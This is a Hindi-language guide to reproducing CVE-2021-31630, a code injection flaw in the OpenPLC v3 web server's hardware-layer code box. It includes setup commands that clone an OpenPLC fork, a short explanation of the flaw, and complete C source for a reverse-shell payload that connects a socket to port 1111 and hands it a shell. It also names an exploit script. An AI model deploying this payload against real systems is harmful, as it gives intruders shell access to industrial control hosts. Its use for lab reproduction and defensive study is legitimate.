
CVE-2021-31630 को पुनरुत्पादित करने के लिए
OpenPLC एक उपयोग में आसान, सॉफ़्टवेयर-आधारित ओपन-सोर्स प्रोग्रामेबल लॉजिक कंट्रोलर है। हमारा ध्यान स्वचालन और अनुसंधान के लिए कम लागत वाला औद्योगिक समाधान प्रदान करने पर है। OpenPLC का उपयोग कई शोध पत्रों में औद्योगिक साइबर सुरक्षा अनुसंधान के ढाँचे के रूप में किया गया है, क्योंकि यह एकमात्र नियंत्रक है जो संपूर्ण स्रोत कोड प्रदान करता है। OpenPLC परियोजना में तीन उप-परियोजनाएँ शामिल हैं:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
जहाँ [platform] निम्न में से एक हो सकता है:
win - विंडोज़ पर Cygwin के माध्यम से OpenPLC स्थापित करें।
linux - Debian-आधारित Linux वितरण पर OpenPLC स्थापित करें।
docker - Dockerfile द्वारा उपयोग किया जाता है (अर्थात sudo को आमंत्रित नहीं करता है)।
rpi - Raspberry Pi पर OpenPLC स्थापित करें।
custom - सभी विशिष्ट पैकेज स्थापना को छोड़ें और OpenPLC को स्थापित करने का प्रयास करें, यह मानते हुए कि आपके सिस्टम में पहले से ही सभी निर्भरताएँ मौजूद हैं। यह विकल्प तब उपयोगी हो सकता है जब आप किसी असमर्थित Linux प्लेटफ़ॉर्म पर OpenPLC स्थापित करने का प्रयास कर रहे हों या पहले सभी निर्भरता पैकेज मैन्युअल रूप से स्थापित कर चुके हों।
CVE-2021-31630 OpenPLC के WebServer पर code/command injection प्रकार की कमजोरी है (v3 संस्करण जिसे समुदाय द्वारा व्यापक रूप से उपयोग किया जाता है)। यह दोष /hardware इंटरफ़ेस (Hardware Layer Code Box) में कोड लोड/संपादित करने की सुविधा में है, जहाँ इनपुट डेटा को सर्वर स्तर पर संसाधित करने से पहले पर्याप्त रूप से फ़िल्टर/सैनिटाइज़ नहीं किया जाता है, जिससे वेबसर्वर प्रक्रिया के अधिकार के तहत कोड निष्पादन की संभावना उत्पन्न होती है। यह कमजोरी 2021 में सार्वजनिक की गई थी और सार्वजनिक कमजोरी डेटाबेस में इसकी गंभीरता उच्च है।
तकनीकी विवरण (रक्षात्मक स्तर): वेब इंटरफ़ेस उपयोगकर्ता द्वारा दर्ज "हार्डवेयर लेयर कोड" के एक टुकड़े को स्वीकार करता है। इस डेटा को बाद में सर्वर घटकों द्वारा संसाधित किया जाता है जो इसे संकलित/सामान्यीकृत कर सकते हैं या इसे कमांड संदर्भ में डाल सकते हैं, बिना किसी जाँच, विशेष वर्ण फ़िल्टरिंग, या कड़े प्रतिबंधों को लागू किए। कुछ शर्तों के तहत (उदाहरण के लिए, डेटा को सिस्टम कमांड स्ट्रिंग में जोड़ा जाता है, या सीधे कोड-प्रोसेसिंग फ़ंक्शन में पारित किया जाता है), एक हमलावर निष्पादन प्रवाह को बदलने वाले नियंत्रण खंड डाल सकता है।
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
शोषण कोड: cve-2021-31630.py